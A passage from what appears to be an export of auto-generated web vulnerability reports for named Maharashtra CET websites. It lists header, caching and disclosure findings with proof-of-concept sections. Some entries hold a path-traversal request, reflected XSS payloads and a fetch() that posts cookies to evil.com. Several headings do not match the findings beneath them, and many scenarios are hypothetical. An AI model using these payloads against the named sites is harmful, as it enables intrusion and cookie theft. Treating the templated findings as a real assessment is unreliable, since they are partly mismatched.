behavior.\n\nMissing:\n\n```http\nStrict-Transport-Security: ...\n```\n\nFails to maintain consistent encryption posture.\n\n**Business Impact**\n\nDiminished assurance regarding encrypted transmission of third-party enhancements. May violate organizational standards around vendor-supplied code handling.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-18625.js / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-18625.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-18625.js |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) enforces secure communication by instructing browsers to only connect via HTTPS. The absence of the `Strict-Transport-Security` header on this JavaScript resource means that if a user initially accesses the site over HTTP, they remain vulnerable to downgrade attacks such as SSL stripping. Although this file is served over HTTPS, lack of HSTS prevents long-term enforcement of secure sessions.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker positioned in a man-in-the-middle position could intercept initial plaintext HTTP requests and force users onto insecure channels even when the website supports HTTPS. For instance:\n\n```http\nGET /wp-content/uploads/essential-addons-elementor/eael-18625.js HTTP/1.1\nHost: cetcell.mahacet.org\n```\n\nIf the server does not return an HSTS header like:\n\n```http\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n```\n\nThen future visits may still be susceptible to protocol downgrade unless explicitly typed or redirected securely.\n\n**Business Impact**\n\nWhile unlikely to lead directly to data compromise, missing HSTS headers increase exposure risk during session initiation phases. It undermines trust in transport layer security and can contribute to compliance gaps under frameworks requiring robust TLS configurations (e.g., PCI DSS).\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13216.js / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13216.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.1 (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13216.js |\n\n**Description**\n\nGenerated JavaScript file lacks HSTS enforcement. Uploads originating from Essential Addons may bypass centralized security controls applied elsewhere.\n\n**Attack Scenario (Proof of Concept)**\n\nUser initiates session over HTTP due to cached redirect or direct navigation. Generated JS file fails to prompt browser upgrade due to missing HSTS.\n\nMissing:\n\n```http\nStrict-Transport-Security: ...\n```\n\nLeaves early-stage traffic vulnerable.\n\n**Business Impact**\n\nWeakens assurance around dynamically generated assets. Increases complexity of maintaining uniform TLS posture across diverse content sources.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13057.js / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13057.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13057.js |\n\n**Description**\n\nThe `X-Content-Type-Options` header is missing from the HTTP response for this JavaScript file. When set to `nosniff`, this header prevents browsers like Internet Explorer and older versions of Chrome from attempting MIME-type sniffing on the content. Without it, there's a risk that the browser may misinterpret the content type of the resource, potentially leading to execution of malicious code if an attacker can upload or manipulate files in such a way that they are served with incorrect MIME types.\n\nThis vulnerability typically arises due to improper server configuration where security headers are not explicitly enforced across static assets.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker could exploit this by uploading a file with a dual extension or crafted content that appears benign but contains executable script code. If the server serves this file without proper content-type enforcement, older browsers might interpret and execute the embedded scripts instead of treating them as plain text or image data.\n\nExample request:\n```http\nGET /wp-content/uploads/essential-addons-elementor/eael-13057.js HTTP/1.1\nHost: cetcell.mahacet.org\n```\n\nResponse lacks:\n```\nX-Content-Type-Options: nosniff\n```\n\nIf an attacker uploads a `.jpg` file containing JavaScript and tricks the application into serving it via a predictable path, older browsers might execute the payload under the context of the site—leading to XSS or other client-side attacks.\n\n**Business Impact**\n\nWhile direct exploitation potential is low given modern browser behavior and limited scope, organizations remain exposed to legacy browser risks. In environments where users rely on outdated software, attackers may leverage MIME sniffing vulnerabilities to bypass content restrictions, inject malicious scripts, or compromise user sessions. Additionally, compliance frameworks often mandate defense-in-depth practices including correct usage of HTTP security headers, making remediation necessary for audit-readiness.\n\n---\n\n### Cross-Domain JavaScript Source File Inclusion / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13607.js / https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13607.js\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/uploads/essential-addons-elementor/eael-13607.js |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) is a security mechanism that instructs browsers to only communicate with a site over HTTPS for a defined period. The absence of the `Strict-Transport-Security` header means that the resource can be loaded over insecure HTTP if accessed directly or via a redirect. While this does not pose an immediate threat, it opens up potential attack vectors such as SSL stripping, where an attacker downgrades a connection from HTTPS to HTTP to intercept sensitive data.\n\nThis vulnerability typically occurs when the web server configuration omits setting the HSTS header in responses. It's especially relevant for static assets like JavaScript files because they may be cached by browsers and later executed in contexts where mixed content issues could arise.\n\n**Attack Scenario (Proof of Concept)**\n\nAn attacker performs a man-in-the-middle (MITM) attack against a user accessing the website for the first time or after clearing their cache:\n\n1. User attempts to access `http://cetcell.mahacet.org`.\n2. Attacker intercepts the initial HTTP request before it reaches the server.\n3. Instead of allowing redirection to HTTPS, the attacker serves malicious content referencing the vulnerable JS file (`eael-13607.js`) over plain HTTP.\n4. Browser loads the script without encryption, enabling eavesdropping or tampering.\n\nExample intercepted HTTP response:\n```http\nGET /wp-content/uploads/essential-addons-elementor/eael-13607.js HTTP/1.1\nHost: cetcell.mahacet.org\n\nHTTP/1.1 200 OK\nContent-Type: application/javascript\n...\n```\n\nNo `Strict-Transport-Security` header present.\n\n**Business Impact**\n\nWhile the direct exploitation risk is low due to modern browser defaults enforcing HTTPS, lack of HSTS reduces defense-in-depth. In environments where users might connect through untrusted networks or proxies, attackers could leverage downgrade attacks leading to credential theft, session hijacking, or injection of malicious scripts into pages rendered by end-users. Additionally, compliance frameworks often mandate HSTS usage for public-facing services handling personal information.\n\n---\n\n### Strict-Transport-Security Header Not Set / https://cetcell.mahacet.org/wp-content/uploads/2023/12/User_manual_Digilocker.pdf / https://cetcell.mahacet.org/wp-content/uploads/2023/12/User_manual_Digilocker.pdf\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-content/uploads/2023/12/User_manual_Digilocker.pdf |\n\n**Description**\n\nHTTP Strict Transport Security (HSTS) enforces secure communication between clients and servers by instructing browsers to only connect over HTTPS. The absence of the `Strict-Transport-Security` header makes the resource susceptible to man-in-the-middle (MITM) attacks, particularly when users initially attempt to access the site over HTTP before being redirected to HTTPS.\n\nWithout HSTS, attackers can intercept initial plaintext traffic and manipulate responses, potentially injecting malicious content or redirecting users to phishing sites.\n\n**Attack Scenario (Proof of Concept)**\n\nA user types `http://cetcell.mahacet.org/wp-content/uploads/2023/12/User_manual_Digilocker.pdf` into their browser. An attacker positioned on the same network performs a MITM attack and serves a fake PDF file instead—one embedded with malware or designed to harvest login credentials.\n\nEven though the final destination eventually uses HTTPS after redirection, the initial insecure connection exposes the user to manipulation.\n\n**Business Impact**\n\nLack of HSTS leaves users vulnerable during early stages of navigation, increasing the likelihood of successful phishing attempts or delivery of malicious payloads. This undermines trust in digital documents provided by the organization and may violate industry standards requiring encrypted communications.\n\n---\n\n### Strict-Transport-Security Header Not Set / https://cetcell.mahacet.org/wp-json/wp/v2/pages/13216 / https://cetcell.mahacet.org/wp-json/wp/v2/pages/13216\n\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 2.6 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://cetcell.mahacet.org/wp-json/wp/v2/pages/132","summary":{"total":1854}},"summary":{"total":1854}},{"_id":{"$oid":"6a27e74180f8672d617835b0"},"created_at":{"$date":"2026-06-09T10:13:21.112Z"},"url":"https://fn.mahacet.org/","tool":"generate_web_vulnerability_report","result":{"url":"https://fn.mahacet.org/","category":"web_vulnerability","timestamp":"2026-06-09T10:13:21.107687+00:00","report":"### [My Photo Gallery Management Interface Exposure / https://fn.mahacet.org/ / /cgi-mod/photo/protected/manage.cgi]\n\n| Field | Value |\n|---|---|\n| Severity | MEDIUM |\n| CVSS Score | 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/cgi-mod/photo/protected/manage.cgi |\n\n**Description**\n\nAn information disclosure vulnerability was identified at the path `/cgi-mod/photo/protected/manage.cgi`, which corresponds to the administrative interface of a My Photo Gallery application. This endpoint exposes functionality related to managing photo galleries and potentially other sensitive operations. According to historical advisories, versions of My Photo Gallery prior to version 3.8 were susceptible to directory traversal vulnerabilities that allowed unauthenticated users to enumerate and view arbitrary directories on the underlying server filesystem.\n\nThe exposure of such an administrative interface increases the attack surface significantly. Even if authentication is required, the presence of legacy software with known insecure behaviors introduces risk, especially when deployed without adequate hardening or patching. If this instance is running an outdated version, it may still be vulnerable to unauthorized content enumeration or even remote file inclusion depending on implementation specifics.\n\nIn modern contexts, exposing internal management interfaces directly under predictable paths like `/cgi-mod/` can also indicate poor architectural design choices such as lack of reverse proxy isolation or improper access controls.\n\n**Attack Scenario (Proof of Concept)**\n\n1. An attacker identifies the exposed CGI script via automated scanning or manual reconnaissance:\n   ```bash\n   curl -s https://fn.mahacet.org/cgi-mod/photo/protected/manage.cgi\n   ```\n\n2. If the system runs a pre-3.8 version of My Photo Gallery, the attacker might attempt directory listing by exploiting known traversal patterns:\n   ```http\n   GET /cgi-mod/photo/protected/manage.cgi?dir=../../../../etc HTTP/1.1\n   Host: fn.mahacet.org\n   ```\n\n3. The response could include listings or contents from system directories such as `/etc/passwd`, configuration files, logs, or database credentials stored insecurely within accessible paths.\n\n4. With sufficient knowledge gained from disclosed resources, the attacker may escalate privileges or pivot into deeper infrastructure exploitation.\n\nEven if direct traversal is mitigated, simply identifying active legacy components provides attackers with targets for known exploits or social engineering vectors.\n\n**Business Impact**\n\nExposure of administrative interfaces increases the likelihood of successful targeted attacks against backend systems. In cases where directory traversal or similar flaws exist, sensitive organizational data—including user credentials, private keys, source code, or business documents—could be accessed remotely without authorization.\n\nThis poses risks including but not limited to identity theft, compliance violations (e.g., GDPR, PCI-DSS), defacement, and potential compromise of interconnected services. Additionally, public exposure of outdated third-party applications undermines trust in digital infrastructure integrity and reflects poorly on governance practices around patch and lifecycle management.\n\n---\n\n### [Missing Content Security Policy Header / https://fn.mahacet.org/ / Root Path]\n\n| Field | Value |\n|---|---|\n| Severity | LOW |\n| CVSS Score | 2.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/ |\n\n**Description**\n\nThe web application hosted at `https://fn.mahacet.org/` does not implement a Content Security Policy (CSP). CSP is an added security layer that helps detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These policies define valid sources of content and restrict dynamic resource loading behavior within the browser context.\n\nWithout a properly configured CSP header, the site becomes more susceptible to client-side injection flaws being leveraged successfully. While absence of CSP alone doesn't constitute a vulnerability, it removes one critical line of defense in layered security architecture.\n\nModern browsers support granular control over script execution, object embedding, frame usage, and inline style evaluation—all of which should ideally be restricted unless explicitly permitted through policy directives.\n\n**Attack Scenario (Proof of Concept)**\n\n1. A reflected XSS payload is introduced into a page parameter:\n   ```\n   https://fn.mahacet.org/?search=<script>alert(document.cookie)</script>\n   ```\n\n2. Since there's no CSP in place to block inline JavaScript execution (`script-src 'self'` or stricter), the malicious script executes in the victim’s browser session upon visiting the crafted link.\n\n3. Cookies or session tokens are exfiltrated to an attacker-controlled domain:\n   ```html\n   <script>\n     fetch('https://evil.com/log', { method: 'POST', body: document.cookie });\n   </script>\n   ```\n\nAlternatively, unsafe object-src or frame-src configurations missing due to lack of CSP could enable clickjacking or embedded phishing panels.\n\n**Business Impact**\n\nAbsence of CSP contributes to increased exploitability of XSS and related client-side flaws. Successful exploitation can lead to account takeover, credential leakage, redirection to malicious sites, or manipulation of displayed content leading to reputational harm.\n\nWhile classified here as low severity due to requiring another flaw for exploitation, failure to adopt defensive-in-depth strategies weakens overall resilience posture. Regulatory frameworks increasingly expect proactive protections like CSP deployment; thus, non-compliance may result in audit findings or penalties during assessments.","summary":{"total":2}},"summary":{"total":2}},{"_id":{"$oid":"6a27eaef9222761c1373e3e9"},"created_at":{"$date":"2026-06-09T10:29:03.171Z"},"url":"https://portal-2026.maharashtracet.org/","tool":"generate_web_vulnerability_report","result":{"url":"https://portal-2026.maharashtracet.org/","category":"web_vulnerability","timestamp":"2026-06-09T10:29:03.165281+00:00","report":"## Findings Summary\n\n### Critical Findings\n\nNone identified.\n\n---\n\n### High Findings\n\n#### Content Security Policy Configuration / https://portal-2026.maharashtracet.org/\n| Field | Value |\n|---|---|\n| Severity | High |\n| CVSS Score | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/ |\n\n**Description**  \nThe Content Security Policy (CSP) directive `script-src` is not securely configured for the root domain. CSP helps mitigate Cross-Site Scripting (XSS) and data injection attacks by specifying trusted sources for executable scripts. When `script-src` is overly permissive (e.g., includes `'unsafe-inline'`, `*`, or broad domains), malicious scripts injected via XSS can execute successfully, compromising user sessions or stealing sensitive data.\n\n**Attack Scenario (Proof of Concept)**  \nAssume the CSP header looks like:\n```\nContent-Security-Policy: script-src *;\n```\n\nAn attacker discovers a reflected XSS vulnerability:\n```html\n<script>alert(1)</script>\n```\n\nThey inject the payload:\n```\nhttps://portal-2026.maharashtracet.org/search?q=<script>alert(document.cookie)</script>\n```\n\nBecause `script-src *` permits execution from any origin, the browser executes the injected script, exfiltrating cookies or performing actions on behalf of the victim.\n\n**Business Impact**  \nWeak CSP exposes the application to successful XSS exploitation, leading to session hijacking, credential theft, phishing redirections, or defacement. Users’ trust erodes rapidly upon encountering compromised interfaces, and compliance violations may arise depending on jurisdictional regulations governing data protection.\n\n**Remediation Steps**  \n1. Restrict `script-src` to only allow trusted origins.\n2. Avoid using wildcards (`*`) or unsafe directives (`'unsafe-inline'`, `'unsafe-eval'`).\n3. Use nonce-based or hash-based whitelisting for inline scripts where necessary.\n4. Regularly audit and update CSP policies to reflect current application needs.\n\n---\n\n### Medium Findings\n\nNone identified.\n\n---\n\n### Low Findings\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/ |\n\n**Description**  \nThe HTTP response for this resource was served from a shared cache, indicating that intermediate proxy servers or CDN layers returned previously stored responses rather than fetching fresh data directly from the origin server. While acceptable for public static assets, serving cached versions of sensitive or personalized content poses significant privacy risks.\n\nIf cache headers such as `Cache-Control`, `Pragma`, or `Expires` are improperly configured, private user information—such as session tokens, profile details, or access controls—may be inadvertently exposed to unauthorized users who share the same caching infrastructure.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker operating within the same network segment (e.g., corporate office, university campus) could exploit misconfigured caching mechanisms:\n\n1. A legitimate authenticated user accesses a page containing sensitive data (`https://portal-2026.maharashtracet.org/dashboard`) which gets cached by a shared proxy.\n2. The attacker navigates to the same URL before the cache expires.\n3. Instead of receiving a new response requiring authentication, the attacker receives the cached version belonging to the first user.\n4. Sensitive information such as names, roles, or internal links becomes accessible.\n\nExample Request:\n```http\nGET /dashboard HTTP/1.1\nHost: portal-2026.maharashtracet.org\n```\n\nExpected Response Headers (misconfigured):\n```\nCache-Control: public\n```\n\n**Business Impact**  \nImproperly cached responses expose organizations to potential breaches of confidentiality, especially in regulated sectors where personally identifiable information (PII) or financial records are involved. It also undermines trust among users expecting secure handling of their data. Regulatory penalties under GDPR, HIPAA, or similar frameworks may apply if sensitive data leakage occurs.\n\n**Remediation Steps**  \n1. Implement strict cache-control headers for dynamic or user-specific content.\n2. Use `Cache-Control: no-store, private` for authenticated pages.\n3. Audit all endpoints to ensure appropriate caching behavior.\n4. Monitor CDN and proxy configurations regularly.\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/favicon.ico\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/favicon.ico |\n\n**Description**  \nSimilar to other findings, the favicon was retrieved from a shared cache. Favicon files are typically static images and pose low inherent risk unless they contain embedded identifiers or are generated dynamically per-user (which is rare). Nonetheless, if improperly cached alongside session-specific content, there’s a theoretical possibility of leaking contextual clues or triggering unexpected behavior in downstream systems relying on unique asset delivery.\n\n**Attack Scenario (Proof of Concept)**  \nThough improbable, consider a scenario involving custom-generated favicons tied to branding or tenant isolation:\n\n1. User A logs in and receives a branded favicon reflecting their organization.\n2. The favicon is cached without proper cache headers.\n3. User B retrieves the same favicon from cache and sees branding associated with User A’s account.\n4. Depending on implementation, this might hint at multi-tenancy design flaws or cross-account leakage.\n\nRequest Example:\n```http\nGET /favicon.ico HTTP/1.1\nHost: portal-2026.maharashtracet.org\n```\n\nMissing Cache-Control:\n```\nCache-Control: public\n```\n\n**Business Impact**  \nMinimal direct threat exists unless the favicon contains encoded identifiers or branding that reveals internal structure. Primarily represents a hygiene concern related to caching policy consistency across all resources.\n\n**Remediation Steps**  \n1. Ensure all static assets have appropriate cache headers.\n2. Apply `Cache-Control: public, max-age=31536000` for truly static resources.\n3. Avoid caching assets that vary by user context.\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/env.js\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/env.js |\n\n**Description**  \nThe `env.js` file, commonly used to inject runtime configuration variables (API endpoints, feature toggles, environment flags) into frontend applications, was retrieved from a shared cache. If this script includes sensitive configuration parameters (e.g., internal API keys, staging URLs, debug flags), improper caching could expose them to unauthorized parties sharing the same caching infrastructure.\n\nEven seemingly benign values can offer valuable intelligence to attackers regarding system architecture or deployment practices.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose `env.js` contains the following snippet:\n```javascript\nwindow.__ENV__ = {\n  API_URL: 'https://api-staging.maharashtracet.org',\n  DEBUG_MODE: true,\n  INTERNAL_API_KEY: 'sk_test_abc123'\n};\n```\n\nIf improperly cached:\n1. Authenticated user loads the page and receives the env.js file.\n2. Proxy caches the response.\n3. Unauthenticated attacker retrieves the same file from cache.\n4. Attacker gains knowledge of staging API endpoint and test credentials.\n\nRequest:\n```http\nGET /env.js HTTP/1.1\nHost: portal-2026.maharashtracet.org\n```\n\nMissing Header:\n```\nCache-Control: private, no-cache\n```\n\n**Business Impact**  \nExposure of internal configuration data, staging endpoints, or temporary secrets can facilitate targeted attacks against backend systems. Even partial disclosure aids reconnaissance phases and weakens defense-in-depth strategies.\n\n**Remediation Steps**  \n1. Never cache configuration files containing sensitive data.\n2. Use `Cache-Control: no-store, private` for dynamic config files.\n3. Minimize inclusion of sensitive values in client-side configs.\n4. Rotate secrets frequently and monitor for exposure.\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/manifest.json\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/manifest.json |\n\n**Description**  \nThis duplicate entry reiterates that the `manifest.json` file was fetched from a shared cache. As discussed earlier, while manifests themselves rarely hold sensitive data, improper caching policies increase the likelihood of outdated or misleading information being served, affecting both usability and security posture.\n\n**Attack Scenario (Proof of Concept)**  \nSee previous discussion under “Re-examine Cache-control Directives” for `manifest.json`.\n\n**Business Impact**  \nSame as described previously – potential leakage of outdated configuration or misleading guidance to clients or attackers alike.\n\n**Remediation Steps**  \n1. Apply consistent cache-control headers to all manifest files.\n2. Use `Cache-Control: no-cache` for frequently updated manifests.\n3. Validate that manifest contents do not expose internal endpoints.\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/logo192.png\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/logo192.png |\n\n**Description**  \nThe logo image was retrieved from a shared cache. Static media assets like logos are typically safe to cache, assuming they don’t vary by user or contain embedded identifiers. However, if the logo is dynamically generated or customized per-user (e.g., watermarking, branding overlays), caching could result in unintended cross-user disclosures.\n\n**Attack Scenario (Proof of Concept)**  \nIn a hypothetical scenario where logos are dynamically branded per institution:\n1. Institution A admin uploads a logo and views it.\n2. Logo is cached.\n3. Institution B user accesses the same logo path and receives Institution A’s cached version.\n4. Brand confusion or accidental data leakage occurs.\n\nRequest:\n```http\nGET /logo192.png HTTP/1.1\nHost: portal-2026.maharashtracet.org\n```\n\nMissing Header:\n```\nCache-Control: private\n```\n\n**Business Impact**  \nLow probability of exploitation, but possible brand integrity issues or minor privacy concerns if logos are user-specific. More importantly, highlights inconsistency in cache policy enforcement across different types of assets.\n\n**Remediation Steps**  \n1. Enforce consistent caching policies for all static assets.\n2. Use `Cache-Control: public, max-age=31536000` for truly static images.\n3. Avoid caching user-specific assets without proper scoping.\n\n#### Retrieved from Cache / https://portal-2026.maharashtracet.org/static/js/main.78a6b6fd.js\n| Field | Value |\n|---|---|\n| Severity | Low |\n| CVSS Score | 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://portal-2026.maharashtracet.org/static/js/main.78a6b6fd.js |\n\n**Description**  \nThe main JavaScript bundle was retrieved from a shared cache. Bundled JS files often contain compiled application logic, API endpoints, hardcoded strings, and debugging symbols. Improper caching allows attackers to retrieve historical builds, compare differences, reverse-engineer logic, or extract secrets left behind in comments or unused code branches.\n\n**Attack Scenario (Proof of Concept)**  \nSuppose the bundle contains:\n```javascript\n// TODO: Remove dev key before prod deploy\nconst apiKey = 'sk_dev_xyz';\nfetch('https://api-dev.maharashtracet.org/data', { headers: { Authorization: `Bearer ${apiKey}` } });\n```\n\nIf cached:\n1. Attacker retrieves old build from cache.\n2. Extracts commented-out dev key.\n3. Uses it to query internal APIs or staging environments.\n\nRequest:\n```http\nGET /static/js/main.78a6b6fd.js HTTP/1.1\nHost: portal-2026.maharashtracet.org\n```\n\nMissing Header:\n```\nCache-Control: no-cache\n```\n\n**Business Impact**  \nLeakage of source code artifacts, API keys, or architectural hints significantly lowers the barrier to targeted attacks. Allows adversaries to understand application internals faster and craft more precise exploits.\n\n**Remediation Steps**  \n1. Prevent caching of JavaScript bundles containing sensitive data.\n2. Strip comments and unused code during build processes.\n3. Use `Cache-Control: no-cache` for dynamic JS files.\n4. Rotate API keys and secrets regularly.\n\n---\n\n### Info Findings\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmCMAP.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmCMAP.html |\n\n**Description**  \nThe HTTP response from the specified URL contains inline developer comments that may reveal internal logic, debugging information, or implementation details about the application. These types of comments often include references to backend technologies, file paths, API endpoints, or error handling mechanisms which can provide attackers with insights into potential attack vectors.\n\nSuch comments are typically left unintentionally during development and do not represent a direct vulnerability on their own; however, they contribute to an attacker's reconnaissance phase by offering contextual clues regarding system architecture or code structure.\n\n**Attack Scenario (Proof of Concept)**  \nAn attacker performs a manual inspection of the page source using browser developer tools or issues a simple `curl` request:\n\n```bash\ncurl -s https://fn.mahacet.org/public/static/Gigw/frmCMAP.html | grep \"<!--\"\n```\n\nThis reveals embedded HTML comments such as:\n```html\n<!-- TODO: Implement role-based access control -->\n<!-- Debug mode enabled for testing purposes -->\n```\n\nThese findings suggest areas where further investigation might yield exploitable weaknesses, such as misconfigured access controls or verbose error reporting.\n\n**Business Impact**  \nWhile this issue does not directly compromise systems or expose sensitive data, it increases the risk surface by aiding reconnaissance efforts. Attackers use these hints to tailor more targeted attacks against specific components or functionalities. Over time, multiple small disclosures like this can lead to successful exploitation if combined with other vulnerabilities.\n\n**Remediation Steps**  \n1. Remove all developer comments and debug statements from production code.\n2. Implement automated code review checks to catch such artifacts.\n3. Sanitize output before serving HTML/JS to clients.\n\n#### Information Disclosure - Suspicious Comments / https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html |\n\n**Description**  \nDeveloper comments have been identified within the HTML content returned by the server at the given URL. These comments may inadvertently disclose technical implementation details, including references to frameworks, libraries, or internal processes used in building the web application.\n\nAlthough harmless individually, when aggregated across multiple pages, such disclosures can assist an attacker in mapping out the underlying infrastructure and identifying possible entry points for deeper probing.\n\n**Attack Scenario (Proof of Concept)**  \nUsing browser dev tools or fetching the raw HTML via CLI:\n\n```bash\ncurl -s https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html | grep -i debug\n```\n\nExample output:\n```html\n<!-- DEBUG: Loaded template version 2.4 -->\n<!-- Backend API endpoint: /api/v1/content -->\n```\n\nThese comments indicate active debugging features or hardcoded API routes that could be explored for unauthorized access or abuse.\n\n**Business Impact**  \nExposure of internal logic or configuration details weakens overall security posture. It enables attackers to build a clearer picture of the environment, potentially leading to targeted exploits. Even seemingly benign comments can become stepping stones toward more serious breaches.\n\n**Remediation Steps**  \n1. Strip all comments from production-ready HTML/JS files.\n2. Use build-time transformations to remove debug artifacts.\n3. Conduct regular audits of deployed code for unintended disclosures.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmCMAP.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmCMAP.html |\n\n**Description**  \nThe web application leverages modern frontend technologies such as JavaScript frameworks (e.g., React, Angular), dynamic rendering, and asynchronous communication patterns. This architectural style enhances user experience but introduces complexity in automated scanning due to reliance on client-side execution.\n\nStandard crawlers may fail to fully map all navigable resources unless equipped with headless browsers or capable of executing JavaScript dynamically.\n\n**Attack Scenario (Proof of Concept)**  \nA penetration tester attempting to enumerate hidden endpoints using traditional spidering techniques will miss dynamically loaded content. To effectively crawl the site, advanced tools like ZAP’s Ajax Spider or Burp Suite's DOM Invader should be employed:\n\n```bash\n# Using OWASP ZAP's Ajax Spider plugin\nzap-cli ajax-spider https://fn.mahacet.org/public/static/Gigw/frmCMAP.html\n```\n\nAlternatively, manual interaction through browser automation scripts (e.g., Puppeteer) allows full traversal of interactive elements.\n\n**Business Impact**  \nInadequate coverage during automated assessments may result in undetected vulnerabilities residing behind dynamically rendered interfaces. Organizations relying solely on legacy crawling methods may overlook critical flaws present only after JavaScript execution, increasing exposure to client-side attacks like DOM XSS or insecure deserialization.\n\n**Remediation Steps**  \n1. Use advanced scanning tools that support JavaScript execution.\n2. Employ headless browsers for comprehensive coverage.\n3. Integrate automated testing with real-user simulation tools.\n\n#### Modern Web Application / https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html\n| Field | Value |\n|---|---|\n| Severity | Info |\n| CVSS Score | 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) |\n| Category | web_vulnerability |\n| Asset / URL | https://fn.mahacet.org/public/static/Gigw/frmCopyrightPolicy.html |\n\n**Description**  \nSimilar to previous findings, this asset represents a modern web application utilizing rich client-side scripting for enhanced interactivity. Such implementations require specialized scanning approaches beyond basic HTTP crawlers to ensure comprehensive test coverage.\n\nFailure to account for dynamic behavior may leave portions of the application untested, particularly those dependent on AJAX calls or DOM manipulation 